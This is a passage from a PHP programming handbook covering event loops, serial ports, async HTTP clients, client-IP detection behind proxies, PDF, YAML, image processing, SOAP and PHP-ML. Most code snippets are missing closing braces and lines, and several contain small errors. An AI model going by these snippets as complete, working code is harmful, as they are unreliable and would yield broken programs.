Make each subprocess non-blocking with stream_set_blocking().

Run a loop until all subprocesses finish using proc_get_status().

Properly close file handles with the output pipe for each subprocess using fclose() and close process

handles with proc_close().

<?php

// non-blocking-proc_open.php

// File descriptors for each subprocess.

$descriptors = [

0 => ['pipe', 'r'], // stdin

1 => ['pipe', 'w'], // stdout

];

$pipes = [];

$processes = [];

foreach (range(1, 3) as $i) {

// Spawn a subprocess.

$proc = proc_open('php subprocess.php proc' . $i, $descriptors, $procPipes);

$processes[$i] = $proc;

// Make the subprocess non-blocking (only output pipe).

stream_set_blocking($procPipes[1], 0);

GoalKicker.com – PHP Notes for Professionals 348

$pipes[$i] = $procPipes;

// Run in a loop until all subprocesses finish.

while (array_filter($processes, function($proc) { return proc_get_status($proc)['running']; })) {

foreach (range(1, 3) as $i) {

usleep(10 * 1000); // 100ms

// Read all available output (unread output is buffered).

$str = fread($pipes[$i][1], 1024);

if ($str) {

printf($str);

// Close all pipes and processes.

foreach (range(1, 3) as $i) {

fclose($pipes[$i][1]);

proc_close($processes[$i]);

The output then contains mixture from all three subprocesses as they we're read by fread() (note, that
in this case

proc1 ended much earlier than the other two):

$ php non-blocking-proc_open.php

proc1 delay: 200ms

proc2 delay: 1000ms

proc3 delay: 800ms

proc1: 0

proc1: 1

proc1: 2

proc1: 3

proc3: 0

proc1: 4

proc2: 0

proc3: 1

proc2: 1

proc3: 2

proc2: 2

proc3: 3

proc2: 3

proc3: 4

proc2: 4
Section 70.4: Reading serial port with Event and DIO

DIO streams are currently not recognized by the Event extension. There is no clean way to obtain the
file descriptor

encapsulated into the DIO resource. But there is a workaround:

open stream for the port with fopen();

make the stream non-blocking with stream_set_blocking();

obtain numeric file descriptor from the stream with EventUtil::getSocketFd();

pass the numeric file descriptor to dio_fdopen() (currently undocumented) and get the DIO resource;

add an Event with a callback for listening to the read events on the file descriptor;

in the callback drain the available data and process it according to the logic of your application.

dio.php

GoalKicker.com – PHP Notes for Professionals 349

<?php

class Scanner {

protected $port; // port path, e.g. /dev/pts/5

protected $fd; // numeric file descriptor

protected $base; // EventBase

protected $dio; // dio resource

protected $e_open; // Event

protected $e_read; // Event

public function __construct ($port) {

$this->port = $port;

$this->base = new EventBase();

public function __destruct() {

$this->base->exit();
if ($this->e_open)

$this->e_open->free();

if ($this->e_read)

$this->e_read->free();

if ($this->dio)

dio_close($this->dio);

public function run() {

$stream = fopen($this->port, 'rb');

stream_set_blocking($stream, false);

$this->fd = EventUtil::getSocketFd($stream);

if ($this->fd < 0) {

fprintf(STDERR, "Failed attach to port, events: %d\n", $events);

return;

$this->e_open = new Event($this->base, $this->fd, Event::WRITE, [$this, '_onOpen']);

$this->e_open->add();

$this->base->dispatch();

fclose($stream);

public function _onOpen($fd, $events) {

$this->e_open->del();

$this->dio = dio_fdopen($this->fd);

// Call other dio functions here, e.g.

dio_tcsetattr($this->dio, [
'baud' => 9600,

'bits' => 8,

'stop' => 1,

'parity' => 0

]);

$this->e_read = new Event($this->base, $this->fd, Event::READ | Event::PERSIST,

[$this, '_onRead']);

$this->e_read->add();

public function _onRead($fd, $events) {

while ($data = dio_read($this->dio, 1)) {

var_dump($data);

GoalKicker.com – PHP Notes for Professionals 350

// Change the port argument

$scanner = new Scanner('/dev/pts/5');

$scanner->run();

Testing

Run the following command in terminal A:

$ socat -d -d pty,raw,echo=0 pty,raw,echo=0

2016/12/01 18:04:06 socat[16750] N PTY is /dev/pts/5

2016/12/01 18:04:06 socat[16750] N PTY is /dev/pts/8

2016/12/01 18:04:06 socat[16750] N starting data transfer loop with FDs [5,5] and [7,7]
The output may be different. Use the PTYs from the first couple of rows (/dev/pts/5 and /dev/pts/8, in
particular).

In terminal B run the above-mentioned script. You may need root privileges:

$ sudo php dio.php

In terminal C send a string to the first PTY:

$ echo test > /dev/pts/8

Output:

string(1) "t"

string(1) "e"

string(1) "s"

string(1) "t"

string(1) "

"

Section 70.5: HTTP Client Based on Event Extension

This is a sample HTTP client class based on Event extension.

The class allows to schedule a number of HTTP requests, then run them asynchronously.

http-client.php

<?php

class MyHttpClient {

/// @var EventBase

protected $base;

/// @var array Instances of EventHttpConnection

protected $connections = [];

public function __construct() {

$this->base = new EventBase();

}
/**

GoalKicker.com – PHP Notes for Professionals 351

* Dispatches all pending requests (events)

* @return void

*/

public function run() {

$this->base->dispatch();

public function __destruct() {

// Destroy connection objects explicitly, don't wait for GC.

// Otherwise, EventBase may be free'd earlier.

$this->connections = null;

/**

* @brief Adds a pending HTTP request

* @param string $address Hostname, or IP

* @param int $port Port number

* @param array $headers Extra HTTP headers

* @param int $cmd A EventHttpRequest::CMD_* constant

* @param string $resource HTTP request resource, e.g. '/page?a=b&c=d'

* @return EventHttpRequest|false

*/
public function addRequest($address, $port, array $headers,

$cmd = EventHttpRequest::CMD_GET, $resource = '/')

$conn = new EventHttpConnection($this->base, null, $address, $port);

$conn->setTimeout(5);

$req = new EventHttpRequest([$this, '_requestHandler'], $this->base);

foreach ($headers as $k => $v) {

$req->addHeader($k, $v, EventHttpRequest::OUTPUT_HEADER);

$req->addHeader('Host', $address, EventHttpRequest::OUTPUT_HEADER);

$req->addHeader('Connection', 'close', EventHttpRequest::OUTPUT_HEADER);

if ($conn->makeRequest($req, $cmd, $resource)) {

$this->connections []= $conn;

return $req;

return false;

/**

* @brief Handles an HTTP request

* @param EventHttpRequest $req

* @param mixed $unused

* @return void

*/
public function _requestHandler($req, $unused) {

if (is_null($req)) {

echo "Timed out\n";

} else {

$response_code = $req->getResponseCode();

if ($response_code == 0) {

GoalKicker.com – PHP Notes for Professionals 352

echo "Connection refused\n";

} elseif ($response_code != 200) {

echo "Unexpected response: $response_code\n";

} else {

echo "Success: $response_code\n";

$buf = $req->getInputBuffer();

echo "Body:\n";

while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {

echo $s, PHP_EOL;

$address = "my-host.local";

$port = 80;

$headers = [ 'User-Agent' => 'My-User-Agent/1.0', ];

$client = new MyHttpClient();

// Add pending requests

for ($i = 0; $i < 10; $i++) {

$client->addRequest($address, $port, $headers,

EventHttpRequest::CMD_GET, '/test.php?a=' . $i);

// Dispatch pending requests

$client->run();

test.php

This is a sample script on the server side.

<?php

echo 'GET: ', var_export($_GET, true), PHP_EOL;

echo 'User-Agent: ', $_SERVER['HTTP_USER_AGENT'] ?? '(none)', PHP_EOL;

Usage

php http-client.php

Sample Output

Success: 200

Body:

GET: array (

'a' => '1',

User-Agent: My-User-Agent/1.0

Success: 200

Body:

GET: array (

'a' => '0',

)

User-Agent: My-User-Agent/1.0

Success: 200

Body:

GET: array (

GoalKicker.com – PHP Notes for Professionals 353

'a' => '3',

...

(Trimmed.)

Note, the code is designed for long-term processing in the CLI SAPI.

Section 70.6: HTTP Client Based on Ev Extension

This is a sample HTTP client based on Ev extension.

Ev extension implements a simple yet powerful general purpose event loop. It doesn't provide
network-specific

watchers, but its I/O watcher can be used for asynchronous processing of sockets.

The following code shows how HTTP requests can be scheduled for parallel processing.

http-client.php

<?php

class MyHttpRequest {

/// @var MyHttpClient

private $http_client;

/// @var string

private $address;

/// @var string HTTP resource such as /page?get=param

private $resource;
/// @var string HTTP method such as GET, POST etc.

private $method;

/// @var int

private $service_port;

/// @var resource Socket

private $socket;

/// @var double Connection timeout in seconds.

private $timeout = 10.;

/// @var int Chunk size in bytes for socket_recv()

private $chunk_size = 20;

/// @var EvTimer

private $timeout_watcher;

/// @var EvIo

private $write_watcher;

/// @var EvIo

private $read_watcher;

/// @var EvTimer

private $conn_watcher;

/// @var string buffer for incoming data

private $buffer;

/// @var array errors reported by sockets extension in non-blocking mode.

private static $e_nonblocking = [

11, // EAGAIN or EWOULDBLOCK

115, // EINPROGRESS

];
/**

* @param MyHttpClient $client

* @param string $host Hostname, e.g. google.co.uk

* @param string $resource HTTP resource, e.g. /page?a=b&c=d

* @param string $method HTTP method: GET, HEAD, POST, PUT etc.

* @throws RuntimeException

*/

public function __construct(MyHttpClient $client, $host, $resource, $method) {

GoalKicker.com – PHP Notes for Professionals 354

$this->http_client = $client;

$this->host = $host;

$this->resource = $resource;

$this->method = $method;

// Get the port for the WWW service

$this->service_port = getservbyname('www', 'tcp');

// Get the IP address for the target host

$this->address = gethostbyname($this->host);

// Create a TCP/IP socket

$this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!$this->socket) {

throw new RuntimeException("socket_create() failed: reason: " .

socket_strerror(socket_last_error()));

// Set O_NONBLOCK flag

socket_set_nonblock($this->socket);
$this->conn_watcher = $this->http_client->getLoop()

->timer(0, 0., [$this, 'connect']);

public function __destruct() {

$this->close();

private function freeWatcher(&$w) {

if ($w) {

$w->stop();

$w = null;

/**

* Deallocates all resources of the request

*/

private function close() {

if ($this->socket) {

socket_close($this->socket);

$this->socket = null;

$this->freeWatcher($this->timeout_watcher);

$this->freeWatcher($this->read_watcher);

$this->freeWatcher($this->write_watcher);

$this->freeWatcher($this->conn_watcher);

}
/**

* Initializes a connection on socket

* @return bool

*/

public function connect() {

$loop = $this->http_client->getLoop();

$this->timeout_watcher = $loop->timer($this->timeout, 0., [$this, '_onTimeout']);

$this->write_watcher = $loop->io($this->socket, Ev::WRITE, [$this, '_onWritable']);

return socket_connect($this->socket, $this->address, $this->service_port);

GoalKicker.com – PHP Notes for Professionals 355

/**

* Callback for timeout (EvTimer) watcher

*/

public function _onTimeout(EvTimer $w) {

$w->stop();

$this->close();

/**

* Callback which is called when the socket becomes writable

*/

public function _onWritable(EvIo $w) {

$this->timeout_watcher->stop();

$w->stop();

$in = implode("\r\n", [
"{$this->method} {$this->resource} HTTP/1.1",

"Host: {$this->host}",

'Connection: Close',

]) . "\r\n\r\n";

if (!socket_write($this->socket, $in, strlen($in))) {

trigger_error("Failed writing $in to socket", E_USER_ERROR);

return;

$loop = $this->http_client->getLoop();

$this->read_watcher = $loop->io($this->socket,

Ev::READ, [$this, '_onReadable']);

// Continue running the loop

$loop->run();

/**

* Callback which is called when the socket becomes readable

*/

public function _onReadable(EvIo $w) {

// recv() 20 bytes in non-blocking mode

$ret = socket_recv($this->socket, $out, 20, MSG_DONTWAIT);

if ($ret) {

// Still have data to read. Append the read chunk to the buffer.

$this->buffer .= $out;

} elseif ($ret === 0) {

// All is read
printf("\n<<<<\n%s\n>>>>", rtrim($this->buffer));

fflush(STDOUT);

$w->stop();

$this->close();

return;

// Caught EINPROGRESS, EAGAIN, or EWOULDBLOCK

if (in_array(socket_last_error(), static::$e_nonblocking)) {

return;

$w->stop();

$this->close();

GoalKicker.com – PHP Notes for Professionals 356

/////////////////////////////////////

class MyHttpClient {

/// @var array Instances of MyHttpRequest

private $requests = [];

/// @var EvLoop

private $loop;

public function __construct() {

// Each HTTP client runs its own event loop

$this->loop = new EvLoop();

}
public function __destruct() {

$this->loop->stop();

/**

* @return EvLoop

*/

public function getLoop() {

return $this->loop;

/**

* Adds a pending request

*/

public function addRequest(MyHttpRequest $r) {

$this->requests []= $r;

/**

* Dispatches all pending requests

*/

public function run() {

$this->loop->run();

/////////////////////////////////////

// Usage

$client = new MyHttpClient();

foreach (range(1, 10) as $i) {

$client->addRequest(new MyHttpRequest($client, 'my-host.local', '/test.php?a=' . $i, 'GET'));

$client->run();

Testing

Suppose http://my-host.local/test.php script is printing the dump of $_GET:

<?php

echo 'GET: ', var_export($_GET, true), PHP_EOL;

Then the output of php http-client.php command will be similar to the following:

<<<<

GoalKicker.com – PHP Notes for Professionals 357

HTTP/1.1 200 OK

Server: nginx/1.10.1

Date: Fri, 02 Dec 2016 12:39:54 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

X-Powered-By: PHP/7.0.13-pl0-gentoo

1d

GET: array (

'a' => '3',

>>>>

<<<<
HTTP/1.1 200 OK

Server: nginx/1.10.1

Date: Fri, 02 Dec 2016 12:39:54 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

X-Powered-By: PHP/7.0.13-pl0-gentoo

1d

GET: array (

'a' => '2',

>>>>

...

(trimmed)

Note, in PHP 5 the sockets extension may log warnings for EINPROGRESS, EAGAIN, and EWOULDBLOCK
errno values. It is

possible to turn off the logs with

error_reporting(E_ERROR);

Section 70.7: Using Amp event loop

Amp harnesses Promises [another name for Awaitables] and Generators for coroutine creation.

require __DIR__ . '/vendor/autoload.php';

use Amp\Dns;

// Try our system defined resolver or googles, whichever is fastest

function queryStackOverflow($recordtype) {

$requests = [
Dns\query("stackoverflow.com", $recordtype),

Dns\query("stackoverflow.com", $recordtype, ["server" => "8.8.8.8"]),

];

// returns a Promise resolving when the first one of the requests resolves

return yield Amp\first($request);

\Amp\run(function() { // main loop, implicitly a coroutine

try {

GoalKicker.com – PHP Notes for Professionals 358

// convert to coroutine with Amp\resolve()

$promise = Amp\resolve(queryStackOverflow(Dns\Record::NS));

list($ns, $type, $ttl) = // we need only one NS result, not all

current(yield Amp\timeout($promise, 2000 /* milliseconds */));

echo "The result of the fastest server to reply to our query was $ns";

} catch (Amp\TimeoutException $e) {

echo "We've heard no answer for 2 seconds! Bye!";

} catch (Dns\NoRecordException $e) {

echo "No NS records there? Stupid DNS nameserver!";

});

GoalKicker.com – PHP Notes for Professionals 359

Chapter 71: How to Detect Client IP

Address

Section 71.1: Proper use of HTTP_X_FORWARDED_FOR

In the light of the latest httpoxy vulnerabilities, there is another variable, that is widely misused.
HTTP_X_FORWARDED_FOR is often used to detect the client IP address, but without any additional
checks, this can lead

to security issues, especially when this IP is later used for authentication or in SQL queries without
sanitization.

Most of the code samples available ignore the fact that HTTP_X_FORWARDED_FOR can actually be
considered as

information provided by the client itself and therefore is not a reliable source to detect clients IP
address. Some of

the samples do add a warning about the possible misuse, but still lack any additional check in the code
itself.

So here is an example of function written in PHP, how to detect a client IP address, if you know that
client may be

behind a proxy and you know this proxy can be trusted. If you don't known any trusted proxies, you
can just use

REMOTE_ADDR

function get_client_ip()

// Nothing to do without any reliable information

if (!isset($_SERVER['REMOTE_ADDR'])) {

return NULL;

// Header that is used by the trusted proxy to refer to

// the original IP

$proxy_header = "HTTP_X_FORWARDED_FOR";

// List of all the proxies that are known to handle 'proxy_header'

// in known, safe manner

$trusted_proxies = array("2001:db8::1", "192.168.50.1");

if (in_array($_SERVER['REMOTE_ADDR'], $trusted_proxies)) {

// Get IP of the client behind trusted proxy

if (array_key_exists($proxy_header, $_SERVER)) {

// Header can contain multiple IP-s of proxies that are passed through.

// Only the IP added by the last proxy (last IP in the list) can be trusted.

$client_ip = trim(end(explode(",", $_SERVER[$proxy_header])));

// Validate just in case

if (filter_var($client_ip, FILTER_VALIDATE_IP)) {

return $client_ip;

} else {

// Validation failed - beat the guy who configured the proxy or

// the guy who created the trusted proxy list?

// TODO: some error handling to notify about the need of punishment

// In all other cases, REMOTE_ADDR is the ONLY IP we can trust.

return $_SERVER['REMOTE_ADDR'];

GoalKicker.com – PHP Notes for Professionals 360

print get_client_ip();

GoalKicker.com – PHP Notes for Professionals 361

Chapter 72: Create PDF files in PHP

Section 72.1: Getting Started with PDFlib

This code requires that you use the PDFlib library for it to function properly.

<?php

$pdf = pdf_new(); //initialize new object

pdf_begin_document($pdf); //create new blank PDF

pdf_set_info($pdf, "Author", "John Doe"); //Set info about your PDF

pdf_set_info($pdf, "Title", "HelloWorld");

pdf_begin_page($pdf, (72 * 8.5), (72 * 11)); //specify page width and height

$font = pdf_findfont($pdf, "Times-Roman", "host", 0) //load a font

pdf_setfont($pdf, $font, 48); //set the font

pdf_set_text_pos($pdf, 50, 700); //assign text position

pdf_show($pdf, "Hello_World!"); //print text to assigned position

pdf_end_page($pdf); //end the page

pdf_end_document($pdf); //close the object

$document = pdf_get_buffer($pdf); //retrieve contents from buffer

$length = strlen($document); $filename = "HelloWorld.pdf"; //Finds PDF length and assigns file name

header("Content-Type:application/pdf");

header("Content-Length:" . $length);

header("Content-Disposition:inline; filename=" . $filename);

echo($document); //Send document to browser

unset($document); pdf_delete($pdf); //Clear Memory

?>

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Chapter 73: YAML in PHP

Section 73.1: Installing YAML extension

YAML does not come with a standard PHP installation, instead it needs to be installed as a PECL
extension. On
linux/unix it can be installed with a simple

pecl install yaml

Note that libyaml-dev package must be installed on the system, as the PECL package is simply a
wrapper around

libYAML calls.

Installation on Windows machines is different - you can either download a pre-compiled DLL or build
from sources.

Section 73.2: Using YAML to store application configuration

YAML provides a way to store structured data. The data can be a simple set of name-value pairs or a
complex

hierarchical data with values even being arrays.

Consider the following YAML file:

database:

driver: mysql

host: database.mydomain.com

port: 3306

db_name: sample_db

user: myuser

password: Passw0rd

debug: true

country: us

Let's say, it's saved as config.yaml. Then to read this file in PHP the following code can be used:

$config = yaml_parse_file('config.yaml');

print_r($config);

print_r will produce the following output:

Array

(
[database] => Array

[driver] => mysql

[host] => database.mydomain.com

[port] => 3306

[db_name] => sample_db

[user] => myuser

[password] => Passw0rd

[debug] => 1

[country] => us

Now config parameters can be used by simply using array elements:

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$dbConfig = $config['database'];

$connectString = $dbConfig['driver']

. ":host={$dbConfig['host']}"

. ":port={$dbConfig['port']}"

. ":dbname={$dbConfig['db_name']}"

. ":user={$dbConfig['user']}"

. ":password={$dbConfig['password']}";

$dbConnection = new \PDO($connectString, $dbConfig['user'], $dbConfig['password']);

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Chapter 74: Image Processing with GD

Section 74.1: Image output

An image can be created using image* functions, where * is the file format.

They have this syntax in common:

bool image___(resource $im [, mixed $to [ other parameters]] )

Saving to a file

If you want to save the image to a file, you can pass the filename, or an opened file stream, as $to. If
you pass a

stream, you don't need to close it, because GD will automatically close it.

For example, to save a PNG file:

imagepng($image, "/path/to/target/file.png");

$stream = fopen("phar://path/to/target.phar/file.png", "wb");

imagepng($image2, $stream);

// Don't fclose($stream)

When using fopen, make sure to use the b flag rather than the t flag, because the file is a binary
output.

Do not try to pass fopen("php://temp", $f) or fopen("php://memory", $f) to it. Since the stream is
closed by

the function after the call, you will be unable to use it further, such as to retrieve its contents.

Output as an HTTP response

If you want to directly return this image as the response of the image (e.g. to create dynamic badges),
you don't

need to pass anything (or pass null) as the second argument. However, in the HTTP response, you need
to specify

your content type:

header("Content-Type: $mimeType");

$mimeType is the MIME type of the format you are returning. Examples include image/png, image/gif
and

image/jpeg.

Writing into a variable

There are two ways to write into a variable.

Using OB (Output Buffering)

ob_start();

imagepng($image, null, $quality); // pass null to supposedly write to stdout

$binary = ob_get_clean();

Using stream wrappers

You may have many reasons that you don't want to use output buffering. For example, you may
already have OB

on. Therefore, an alternative is needed.

Using the stream_wrapper_register function, a new stream wrapper can be registered. Hence, you can
pass a

stream to the image output function, and retrieve it later.

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<?php

class GlobalStream{

private $var;

public function stream_open(string $path){

$this->var =& $GLOBALS[parse_url($path)["host"]];

return true;

public function stream_write(string $data){

$this->var .= $data;

return strlen($data);

stream_wrapper_register("global", GlobalStream::class);
$image = imagecreatetruecolor(100, 100);

imagefill($image, 0, 0, imagecolorallocate($image, 0, 0, 0));

$stream = fopen("global://myImage", "");

imagepng($image, $stream);

echo base64_encode($myImage);

In this example, the GlobalStream class writes any input into the reference variable (i.e. indirectly
write to the global

variable of the given name). The global variable can later be retrieved directly.

There are some special things to note:

A fully implemented stream wrapper class should look like this, but according to tests with the __call
magic

method, only stream_open, stream_write and stream_close are called from internal functions.

No flags are required in the fopen call, but you should at least pass an empty string. This is because
the

fopen function expects such parameter, and even if you don't use it in your stream_open
implementation, a

dummy one is still required.

According to tests, stream_write is called multiple times. Remember to use .= (concatenation

assignment),

not = (direct variable assignment).

Example usage

In the <img> HTML tag, an image can be directly provided rather than using an external link:

echo '<img src="data:image/png;base64,' . base64_encode($binary) . '">';

Section 74.2: Creating an image

To create a blank image, use the imagecreatetruecolor function:

$img = imagecreatetruecolor($width, $height);

$img is now a resource variable for an image resource with $widthx$height pixels. Note that width
counts from left
to right, and height counts from top to bottom.

Image resources can also be created from image creation functions, such as:

imagecreatefrompng

imagecreatefromjpeg

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other imagecreatefrom* functions.

Image resources may be freed later when there are no more references to them. However, to free the
memory

immediately (this may be important if you are processing many large images), using imagedestroy() on
an image

when it is no longer used might be a good practice.

imagedestroy($image);

Converting an image

Images created by image conversion does not modify the image until you output it. Therefore, an
image converter

can be as simple as three lines of code:

function convertJpegToPng(string $filename, string $outputFile) {

$im = imagecreatefromjpeg($filename);

imagepng($im, $outputFile);

imagedestroy($im);

Section 74.3: Image Cropping and Resizing

If you have an image and want to create a new image, with new dimensions, you can use
imagecopyresampled

function:

first create a new image with desired dimensions:

// new image
$dst_img = imagecreatetruecolor($width, $height);

and store the original image into a variable. To do so, you may use one of the createimagefrom*
functions where *

stands for:

jpeg

gif

png

string

For example:

//original image

$src_img=imagecreatefromstring(file_get_contents($original_image_path));

Now, copy all (or part of) original image (src_img) into the new image (dst_img) by
imagecopyresampled:

imagecopyresampled($dst_img, $src_img,

$dst_x ,$dst_y, $src_x, $src_y,

$dst_width, $dst_height, $src_width, $src_height);

To set src_* and dst_* dimensions, use the below image:

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Now, if you want to copy entire of source (initial) image, into entire of destination area (no cropping):

$src_x = $src_y = $dst_x = $dst_y = 0;

$dst_width = $width;// width of new image

$dst_height = $height; //height of new image

$src_width = imagesx($src_img); //width of initial image

$src_height = imagesy($src_img); //height of initial image

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Chapter 75: Imagick

Section 75.1: First Steps

Installation

Using apt on Debian based systems

sudo apt-get install php5-imagick

Using Homebrew on OSX/macOs

brew install imagemagick

To see the dependencies installed using the brew method, visit brewformulas.org/Imagemagick.

Using binary releases

Instructions on imagemagick website.

Usage

<?php

$imagen = new Imagick('imagen.jpg');

$imagen->thumbnailImage(100, 0);

//if you put 0 in the parameter aspect ratio is maintained

echo $imagen;

?>

Section 75.2: Convert Image into base64 String

This example is how to turn an image into a Base64 string (i.e. a string you can use directly in a src
attribute of an

img tag). This example specifically uses the Imagick library (there are others available, such as GD as
well).

<?php

/**

* This loads in the file, image.jpg for manipulation.

* The filename path is releative to the .php file containing this code, so
* in this example, image.jpg should live in the same directory as our script.

*/

$img = new Imagick('image.jpg');

/**

* This resizes the image, to the given size in the form of width, height.

* If you want to change the resolution of the image, rather than the size

* then $img->resampleimage(320, 240) would be the right function to use.

* Note that for the second parameter, you can set it to 0 to maintain the

* aspect ratio of the original image.

*/

$img->resizeImage(320, 240);

/**

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* This returns the unencoded string representation of the image

*/

$imgBuff = $img->getimageblob();

/**

* This clears the image.jpg resource from our $img object and destroys the

* object. Thus, freeing the system resources allocated for doing our image

* manipulation.

*/

$img->clear();

/**

* This creates the base64 encoded version of our unencoded string from
* earlier. It is then output as an image to the page.

* Note, that in the src attribute, the image/jpeg part may change based on

* the image type you're using (i.e. png, jpg etc).

*/

$img = base64_encode($imgBuff);

echo "<img alt='Embedded Image' src='data:image/jpeg;base64,$img' />";

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Chapter 76: SOAP Server

Section 76.1: Basic SOAP Server

function test($x)

return $x;

$server = new SoapServer(null, array('uri' => "http://test-uri/"));

$server->addFunction("test");

$server->handle();

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Chapter 77: Machine learning

Section 77.1: Classification using PHP-ML

Classification in Machine Learning is the problem that identifies to which set of categories does a new
observation

belong. Classification falls under the category of Supervised Machine Learning.

Any algorithm that implements classification is known as classifier

The classifiers supported in PHP-ML are

SVC (Support Vector Classification)

k-Nearest Neighbors

Naive Bayes

The train and predict method are same for all classifiers. The only difference would be in the
underlying

algorithm used.

SVC (Support Vector Classification)

Before we can start with predicting a new observation, we need to train our classifier. Consider the
following code

// Import library

use Phpml\Classification\SVC;

use Phpml\SupportVectorMachine\Kernel;

// Data for training classifier

$samples = [[1, 3], [1, 4], [2, 4], [3, 1], [4, 1], [4, 2]]; // Training samples

$labels = ['a', 'a', 'a', 'b', 'b', 'b'];

// Initialize the classifier

$classifier = new SVC(Kernel::LINEAR, $cost = 1000);

// Train the classifier

$classifier->train($samples, $labels);

The code is pretty straight forward. $cost used above is a measure of how much we want to avoid
misclassifying

each training example. For a smaller value of $cost you might get misclassified examples. By default it
is set to 1.0

Now that we have the classifier trained we can start making some actual predictions. Consider the
following codes

that we have for predictions

$classifier->predict([3, 2]); // return 'b'

$classifier->predict([[3, 2], [1, 5]]); // return ['b', 'a']

The classifier in the case above can take unclassified samples and predicts there labels. predict
method can take a

single sample as well as an array of samples.

k-Nearest Neighbors

The classfier for this algorithm takes in two parameters and can be initialized like

$classifier = new KNearestNeighbors($neighbor_num=4);

$classifier = new KNearestNeighbors($neighbor_num=3, new Minkowski($lambda=4));

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$neighbor_num is the number of nearest neighbours to scan in knn algorithm while the second
parameter is

distance metric which by default in first case would be Euclidean. More on Minkowski can be found
here.

Following is a short example on how to use this classifier

// Training data

$samples = [[1, 3], [1, 4], [2, 4], [3, 1], [4, 1], [4, 2]];

$labels = ['a', 'a', 'a', 'b', 'b', 'b'];

// Initialize classifier

$classifier = new KNearestNeighbors();

// Train classifier

$classifier->train($samples, $labels);

// Make predictions

$classifier->predict([3, 2]); // return 'b'

$classifier->predict([[3, 2], [1, 5]]); // return ['b', 'a']

NaiveBayes Classifier

NaiveBayes Classifier is based on Bayes' theorem and does not need any parameters in constructor.

The following code demonstrates a simple prediction implementation

// Training data
$samples = [[5, 1, 1], [1, 5, 1], [1, 1, 5]];

$labels = ['a', 'b', 'c'];

// Initialize classifier

$classifier = new NaiveBayes();

// Train classifier

$classifier->train($samples, $labels);

// Make predictions

$classifier->predict([3, 1, 1]); // return 'a'

$classifier->predict([[3, 1, 1], [1, 4, 1]); // return ['a', 'b']

Practical case

Till now we only used arrays of integer in all our case but that is not the case in real life. Therefore let
me try to

describe a practical situation on how to use classifiers.

Suppose you have an application that stores characteristics of flowers in nature. For the sake of
simplicity

we can consider the color and length of petals. So there two characteristics would be used to train our

data. color is the simpler one where you can assign an int value to each of them and for length, you
can

have a range like (0 mm,10 mm)=1 , (10 mm,20 mm)=2. With the initial data train your classifier. Now
one

of your user needs identify the kind of flower that grows in his backyard. What he does is select the
color

of the flower and adds the length of the petals. You classifier running can detect the type of flower

("Labels in example above")

Section 77.2: Regression

In classification using PHP-ML we assigned labels to new observation. Regression is almost the same
with difference

being that the output value is not a class label but a continuous value. It is widely used for predictions
and

forecasting. PHP-ML supports the following regression algorithms

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Support Vector Regression

LeastSquares Linear Regression

Regression has the same train and predict methods as used in classification.

Support Vector Regression

This is the regression version for SVM(Support Vector Machine).The first step like in classification is to
train our

model.

// Import library

use Phpml\Regression\SVR;

use Phpml\SupportVectorMachine\Kernel;

// Training data

$samples = [[60], [61], [62], [63], [65]];

$targets = [3.1, 3.6, 3.8, 4, 4.1];

// Initialize regression engine

$regression = new SVR(Kernel::LINEAR);

// Train regression engine

$regression->train($samples, $targets);

In regression $targets are not class labels as opposed to classification. This is one of the differentiating
factor for

the two. After training our model with the data we can start with the actual predictions

$regression->predict([64]) // return 4.03

Note that the predictions return a value outside the target.

LeastSquares Linear Regression

This algorithm uses least squares method to approximate solution. The following demonstrates a
simple code of

training and predicting

// Training data

$samples = [[60], [61], [62], [63], [65]];

$targets = [3.1, 3.6, 3.8, 4, 4.1];

// Initialize regression engine

$regression = new LeastSquares();

// Train engine

$regression->train($samples, $targets);

// Predict using trained engine

$regression->predict([64]); // return 4.06

PHP-ML also provides with the option of Multiple Linear Regression. A sample code for the same can
be as

follows

$samples = [[73676, 1996], [77006, 1998], [10565, 2000], [146088, 1995], [15000, 2001], [65940,

2000], [9300, 2000], [93739, 1996], [153260, 1994], [17764, 2002], [57000, 1998], [15000, 2000]];

$targets = [2000, 2750, 15500, 960, 4400, 8800, 7100, 2550, 1025, 5900, 4600, 4400];

$regression = new LeastSquares();

$regression->train($samples, $targets);

$regression->predict([60000, 1996]) // return 4094.82

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Multiple Linear Regression is particularly useful when multiple factors or traits identify the outcome.

Practical case

Now let us take an application of regression in real life scenario.

Suppose you run a very popular website, but the traffic keeps on changing. You want a solution that
would predict the number of servers you need to deploy at any given instance of time. Lets assume for

the sake that your hosting provider gives you an api to spawn out servers and each server takes 15

minutes to boot. Based on previous data of traffic, and regression you can predict the traffic that
would

hit your application at any instance of time. Using that knowledge you can start a server 15 minutes

before the surge thereby preventing your application from going offline.

Section 77.3: Clustering

Clustering is about grouping similar objects together. It is widely used for pattern recognition.
Clustering comes

under unsupervised machine learning, therefore there is no training needed. PHP-ML has support for
the

following clustering algorithms

k-Means

dbscan

k-Means

k-Means separates the data into n groups of equal variance. This means that we need to pass in a
number n which

would be the number of clusters we need in our solution. The following code will help bring more
clarity

// Our data set

$samples = [[1, 1], [8, 7], [1, 2], [7, 8], [2, 1], [8, 9]];

// Initialize clustering with parameter `n`

$kmeans = new KMeans(3);

$kmeans->cluster($samples); // return [0=>[[7, 8]], 1=>[[8, 7]], 2=>[[1,1]]]

Note that the output contains 3 arrays because because that was the value of n in KMeans
constructor. There can

also be an optional second parameter in the constructor which would be the initialization method. For
example
consider

$kmeans = new KMeans(4, KMeans::INIT_RANDOM);

INIT_RANDOM places a completely random centroid while trying to determine the clusters. But just to
avoid the

centroid being too far away from the data, it is bound by the space boundaries of data.

The default constructor initialization method is kmeans++ which selects centroid in a smart way to
speed up the

process.

DBSCAN

As opposed to KMeans, DBSCAN is a density based clustering algorithm which means that we would
not be passing n

which would determine the number of clusters we want in our result. On the other hand this requires
two

parameters to work

1. $minSamples : The minimum number of objects that should be present in a cluster

GoalKicker.com – PHP Notes for Professionals 376

2. $epsilon : Which is the maximum distance between two samples for them to be considered as in the
same

cluster.

A quick sample for the same is as follows

// Our sample data set

$samples = [[1, 1], [8, 7], [1, 2], [7, 8], [2, 1], [8, 9]];

$dbscan = new DBSCAN($epsilon = 2, $minSamples = 3);

$dbscan->cluster($samples); // return [0=>[[1, 1]], 1=>[[8, 7]]]

The code is pretty much self explanatory. One major difference is that there is no way of knowing the
number of

elements in output array as opposed to KMeans.

Practical Case
